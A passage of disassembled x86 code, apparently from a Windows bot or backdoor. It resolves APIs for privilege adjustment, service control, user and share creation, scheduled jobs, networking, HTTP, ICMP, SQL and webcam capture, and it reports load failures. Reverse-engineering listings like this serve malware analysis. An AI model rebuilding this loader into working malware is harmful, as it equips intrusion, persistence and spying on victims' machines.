		mov	dword_4E306C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4E3044, eax
		call	esi	; GetProcAddress
		cmp	dword_4E306C, ebx
		mov	dword_4E30F4, eax
		jz	short loc_40A05D
		cmp	dword_4E3044, ebx
		jz	short loc_40A05D
		cmp	eax, ebx
		jnz	short loc_40A067

loc_40A05D:				; CODE XREF: sub_409D10+33Fj
					; sub_409D10+347j
		mov	dword_4E3154, 1

loc_40A067:				; CODE XREF: sub_409D10+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4E307C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4E2F64, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4E2F6C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4E2FD0, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4E2FD4, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4E2F80, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4E3048, eax
		call	esi	; GetProcAddress
		cmp	dword_4E307C, ebx
		mov	dword_4E2F70, eax
		jz	short loc_40A10B
		cmp	dword_4E2F64, ebx
		jz	short loc_40A10B
		cmp	dword_4E2F6C, ebx
		jz	short loc_40A10B
		cmp	dword_4E2FD0, ebx
		jz	short loc_40A10B
		cmp	dword_4E2FD4, ebx
		jz	short loc_40A10B
		cmp	dword_4E2F80, ebx
		jz	short loc_40A10B
		cmp	dword_4E3048, ebx
		jz	short loc_40A10B
		cmp	eax, ebx
		jnz	short loc_40A115

loc_40A10B:				; CODE XREF: sub_409D10+3C5j
					; sub_409D10+3CDj ...
		mov	dword_4E3154, 1

loc_40A115:				; CODE XREF: sub_409D10+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E2F68, eax
		jnz	short loc_40A13D
		jmp	short loc_40A133
; ---------------------------------------------------------------------------

loc_40A128:				; CODE XREF: sub_409D10+26Aj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3158, eax

loc_40A133:				; CODE XREF: sub_409D10+416j
		mov	dword_4E3154, 1

loc_40A13D:				; CODE XREF: sub_409D10+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A209
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4E3074, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4E30CC, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4E30D4, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4E3090, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4E2FAC, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4E2F58, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4E30D0, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4E2F44, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3074, ebx
		mov	dword_4E2FE4, eax
		jz	short loc_40A214
		cmp	dword_4E30CC, ebx
		jz	short loc_40A214
		cmp	dword_4E30D4, ebx
		jz	short loc_40A214
		cmp	dword_4E3090, ebx
		jz	short loc_40A214
		cmp	dword_4E2FAC, ebx
		jz	short loc_40A214
		cmp	dword_4E2F58, ebx
		jz	short loc_40A214
		cmp	dword_4E30D0, ebx
		jz	short loc_40A214
		cmp	dword_4E2F44, ebx
		jz	short loc_40A214
		cmp	eax, ebx
		jnz	short loc_40A21E
		jmp	short loc_40A214
; ---------------------------------------------------------------------------

loc_40A209:				; CODE XREF: sub_409D10+438j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3160, eax

loc_40A214:				; CODE XREF: sub_409D10+4B9j
					; sub_409D10+4C1j ...
		mov	dword_4E315C, 1

loc_40A21E:				; CODE XREF: sub_409D10+4F5j
		mov	ebp, dword_4F538C
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A4DA
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4E2FF8, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4E312C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4E2F98, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4E2F74, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4E3034, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4E301C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4E2FE0, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4E3108, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4E3124, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4E3030, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4E3114, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4E30C8, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4E3088, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4E3084, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4E2FB8, eax
		call	esi	; GetProcAddress
		push	offset aSend_0	; "send"
		push	edi
		mov	dword_4E2FB0, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4E30D8, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4E30EC, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4E30A0, eax
		call	esi	; GetProcAddress
		mov	dword_4E3060, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4E30B4, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4E3070, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4E30B0, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4E311C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4E3068, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4E302C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4E309C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4E310C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4E3040, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4E2FDC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2FF8, ebx
		mov	dword_4E3120, eax
		jz	loc_40A4E5
		cmp	dword_4E312C, ebx
		jz	loc_40A4E5
		cmp	dword_4E2F98, ebx
		jz	loc_40A4E5
		cmp	dword_4E3034, ebx
		jz	loc_40A4E5
		cmp	dword_4E301C, ebx
		jz	loc_40A4E5
		cmp	dword_4E2FE0, ebx
		jz	loc_40A4E5
		cmp	dword_4E3108, ebx
		jz	loc_40A4E5
		cmp	dword_4E3124, ebx
		jz	loc_40A4E5
		cmp	dword_4E3030, ebx
		jz	loc_40A4E5
		cmp	dword_4E3114, ebx
		jz	loc_40A4E5
		cmp	dword_4E30C8, ebx
		jz	loc_40A4E5
		cmp	dword_4E3088, ebx
		jz	loc_40A4E5
		cmp	dword_4E3084, ebx
		jz	loc_40A4E5
		cmp	dword_4E2FB8, ebx
		jz	short loc_40A4E5
		cmp	dword_4E30D8, ebx
		jz	short loc_40A4E5
		cmp	dword_4E30EC, ebx
		jz	short loc_40A4E5
		cmp	dword_4E30A0, ebx
		jz	short loc_40A4E5
		cmp	dword_4E3060, ebx
		jz	short loc_40A4E5
		cmp	dword_4E30B4, ebx
		jz	short loc_40A4E5
		cmp	dword_4E3070, ebx
		jz	short loc_40A4E5
		cmp	dword_4E30B0, ebx
		jz	short loc_40A4E5
		cmp	dword_4E311C, ebx
		jz	short loc_40A4E5
		cmp	dword_4E3068, ebx
		jz	short loc_40A4E5
		cmp	dword_4E302C, ebx
		jz	short loc_40A4E5
		cmp	dword_4E309C, ebx
		jz	short loc_40A4E5
		cmp	dword_4E310C, ebx
		jz	short loc_40A4E5
		cmp	dword_4E3040, ebx
		jz	short loc_40A4E5
		cmp	eax, ebx
		jnz	short loc_40A4EF
		jmp	short loc_40A4E5
; ---------------------------------------------------------------------------

loc_40A4DA:				; CODE XREF: sub_409D10+51Fj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3168, eax

loc_40A4E5:				; CODE XREF: sub_409D10+6BEj
					; sub_409D10+6CAj ...
		mov	dword_4E3164, 1

loc_40A4EF:				; CODE XREF: sub_409D10+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A5F4
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4E2FC4, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4E2F4C, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4E3050, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4E2FFC, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4E305C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4E3020, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4E2F8C, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4E2F84, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4E2F94, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2FC4, ebx
		mov	ecx, dword_4E3020
		mov	dword_4E30BC, eax
		jz	short loc_40A5D0
		cmp	dword_4E2F4C, ebx
		jz	short loc_40A5D0
		cmp	dword_4E3050, ebx
		jz	short loc_40A5D0
		cmp	dword_4E2FFC, ebx
		jz	short loc_40A5D0
		cmp	dword_4E305C, ebx
		jz	short loc_40A5D0
		cmp	ecx, ebx
		jz	short loc_40A5D0
		cmp	dword_4E2F8C, ebx
		jz	short loc_40A5D0
		cmp	dword_4E2F84, ebx
		jz	short loc_40A5D0
		cmp	dword_4E2F94, ebx
		jz	short loc_40A5D0
		cmp	eax, ebx
		jnz	short loc_40A5DA

loc_40A5D0:				; CODE XREF: sub_409D10+87Ej
					; sub_409D10+886j ...
		mov	dword_4E316C, 1

loc_40A5DA:				; CODE XREF: sub_409D10+8BEj
		cmp	ecx, ebx
		jz	short loc_40A60F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4E3038, eax
		jnz	short loc_40A60F
		jmp	short loc_40A609
; ---------------------------------------------------------------------------

loc_40A5F4:				; CODE XREF: sub_409D10+7EAj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3170, eax
		mov	dword_4E316C, 1

loc_40A609:				; CODE XREF: sub_409D10+8E2j
		mov	dword_4E3038, ebx

loc_40A60F:				; CODE XREF: sub_409D10+8CCj
					; sub_409D10+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A659
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4E3010, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4E313C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3010, ebx
		mov	dword_4E2FA0, eax
		jz	short loc_40A664
		cmp	dword_4E313C, ebx
		jz	short loc_40A664
		cmp	eax, ebx
		jnz	short loc_40A66E
		jmp	short loc_40A664
; ---------------------------------------------------------------------------

loc_40A659:				; CODE XREF: sub_409D10+90Aj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3178, eax

loc_40A664:				; CODE XREF: sub_409D10+939j
					; sub_409D10+941j ...
		mov	dword_4E3174, 1

loc_40A66E:				; CODE XREF: sub_409D10+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A775
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4E2F7C, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4E2F54, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4E2FCC, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4E3000, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4E3118, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4E2FB4, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4E2F60, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4E2F50, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4E2FE8, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4E30E0, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4E3098, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2F7C, ebx
		mov	dword_4E2FBC, eax
		jz	short loc_40A780
		cmp	dword_4E2F54, ebx
		jz	short loc_40A780
		cmp	dword_4E2FCC, ebx
		jz	short loc_40A780
		cmp	dword_4E3000, ebx
		jz	short loc_40A780
		cmp	dword_4E3118, ebx
		jz	short loc_40A780
		cmp	dword_4E2FB4, ebx
		jz	short loc_40A780
		cmp	dword_4E2F60, ebx
		jz	short loc_40A780
		cmp	dword_4E2F50, ebx
		jz	short loc_40A780
		cmp	dword_4E2FE8, ebx
		jz	short loc_40A780
		cmp	dword_4E30E0, ebx
		jz	short loc_40A780
		cmp	dword_4E3098, ebx
		jnz	short loc_40A78A
		jmp	short loc_40A780
; ---------------------------------------------------------------------------

loc_40A775:				; CODE XREF: sub_409D10+969j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3180, eax

loc_40A780:				; CODE XREF: sub_409D10+A11j
					; sub_409D10+A19j ...
		mov	dword_4E317C, 1

loc_40A78A:				; CODE XREF: sub_409D10+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7BF
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4E2FA4, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2FA4, ebx
		mov	dword_4E3080, eax
		jz	short loc_40A7CA
		cmp	eax, ebx
		jnz	short loc_40A7D4
		jmp	short loc_40A7CA
; ---------------------------------------------------------------------------

loc_40A7BF:				; CODE XREF: sub_409D10+A85j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3188, eax

loc_40A7CA:				; CODE XREF: sub_409D10+AA7j
					; sub_409D10+AADj
		mov	dword_4E3184, 1

loc_40A7D4:				; CODE XREF: sub_409D10+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A809
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4E3104, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3104, ebx
		mov	dword_4E3100, eax
		jz	short loc_40A814
		cmp	eax, ebx
		jnz	short loc_40A81E
		jmp	short loc_40A814
; ---------------------------------------------------------------------------

loc_40A809:				; CODE XREF: sub_409D10+ACFj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3190, eax

loc_40A814:				; CODE XREF: sub_409D10+AF1j
					; sub_409D10+AF7j
		mov	dword_4E318C, 1

loc_40A81E:				; CODE XREF: sub_409D10+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A87D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4E3130, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4E3128, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4E30F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3130, ebx
		mov	dword_4E2FC0, eax
		jz	short loc_40A888
		cmp	dword_4E3128, ebx
		jz	short loc_40A888
		cmp	dword_4E30F0, ebx
		jz	short loc_40A888
		cmp	eax, ebx
		jnz	short loc_40A892
		jmp	short loc_40A888
; ---------------------------------------------------------------------------

loc_40A87D:				; CODE XREF: sub_409D10+B19j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3198, eax

loc_40A888:				; CODE XREF: sub_409D10+B55j
					; sub_409D10+B5Dj ...
		mov	dword_4E3194, 1

loc_40A892:				; CODE XREF: sub_409D10+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A8C7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4E2FF4, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2FF4, ebx
		mov	dword_4E30FC, eax
		jz	short loc_40A8D2
		cmp	eax, ebx
		jnz	short loc_40A8DC
		jmp	short loc_40A8D2
; ---------------------------------------------------------------------------

loc_40A8C7:				; CODE XREF: sub_409D10+B8Dj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31A0, eax

loc_40A8D2:				; CODE XREF: sub_409D10+BAFj
					; sub_409D10+BB5j
		mov	dword_4E319C, 1

loc_40A8DC:				; CODE XREF: sub_409D10+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A965
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4E30C4, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4E3110, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4E304C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4E3004, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4E30A4, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30C4, ebx
		mov	dword_4E3014, eax
		jz	short loc_40A970
		cmp	dword_4E3110, ebx
		jz	short loc_40A970
		cmp	dword_4E304C, ebx
		jz	short loc_40A970
		cmp	dword_4E3004, ebx
		jz	short loc_40A970
		cmp	dword_4E30A4, ebx
		jz	short loc_40A970
		cmp	eax, ebx
		jnz	short loc_40A97A
		jmp	short loc_40A970
; ---------------------------------------------------------------------------

loc_40A965:				; CODE XREF: sub_409D10+BD7j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31A8, eax

loc_40A970:				; CODE XREF: sub_409D10+C2Dj
					; sub_409D10+C35j ...
		mov	dword_4E31A4, 1

loc_40A97A:				; CODE XREF: sub_409D10+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A9AF
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4E2FD8, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2FD8, ebx
		mov	dword_4E30B8, eax
		jz	short loc_40A9BA
		cmp	eax, ebx
		jnz	short loc_40A9C4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------

loc_40A9AF:				; CODE XREF: sub_409D10+C75j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31B0, eax

loc_40A9BA:				; CODE XREF: sub_409D10+C97j
					; sub_409D10+C9Dj
		mov	dword_4E31AC, 1

loc_40A9C4:				; CODE XREF: sub_409D10+C9Bj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_409D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CC	proc near		; CODE XREF: sub_401C87+24F0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4E3144, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40AA14
		push	dword_4E3148
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AA14:				; CODE XREF: sub_40A9CC+1Aj
		cmp	dword_4E314C, esi
		jz	short loc_40AA48
		push	dword_4E3150
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AA48:				; CODE XREF: sub_40A9CC+4Ej
		cmp	dword_4E3154, esi
		jz	short loc_40AA7C
		push	dword_4E3158
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AA7C:				; CODE XREF: sub_40A9CC+82j
		cmp	dword_4E315C, esi
		jz	short loc_40AAB0
		push	dword_4E3160
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AAB0:				; CODE XREF: sub_40A9CC+B6j
		cmp	dword_4E3164, esi
		jz	short loc_40AAE4
		push	dword_4E3168
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AAE4:				; CODE XREF: sub_40A9CC+EAj
		cmp	dword_4E316C, esi
		jz	short loc_40AB18
		push	dword_4E3170
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AB18:				; CODE XREF: sub_40A9CC+11Ej
		cmp	dword_4E3174, esi
		jz	short loc_40AB4C
		push	dword_4E3178
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AB4C:				; CODE XREF: sub_40A9CC+152j
		cmp	dword_4E317C, esi
		jz	short loc_40AB80
		push	dword_4E3180
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AB80:				; CODE XREF: sub_40A9CC+186j
		cmp	dword_4E3184, esi
		jz	short loc_40ABB4
		push	dword_4E3188
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40ABB4:				; CODE XREF: sub_40A9CC+1BAj
		cmp	dword_4E318C, esi
		jz	short loc_40ABE8
		push	dword_4E3190
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40ABE8:				; CODE XREF: sub_40A9CC+1EEj
		cmp	dword_4E3194, esi
		jz	short loc_40AC1C
		push	dword_4E3198
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AC1C:				; CODE XREF: sub_40A9CC+222j
		cmp	dword_4E319C, esi
		jz	short loc_40AC50
		push	dword_4E31A0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AC50:				; CODE XREF: sub_40A9CC+256j
		cmp	dword_4E31A4, esi
		jz	short loc_40AC84
		push	dword_4E31A8
		lea	eax, [ebp+var_200]
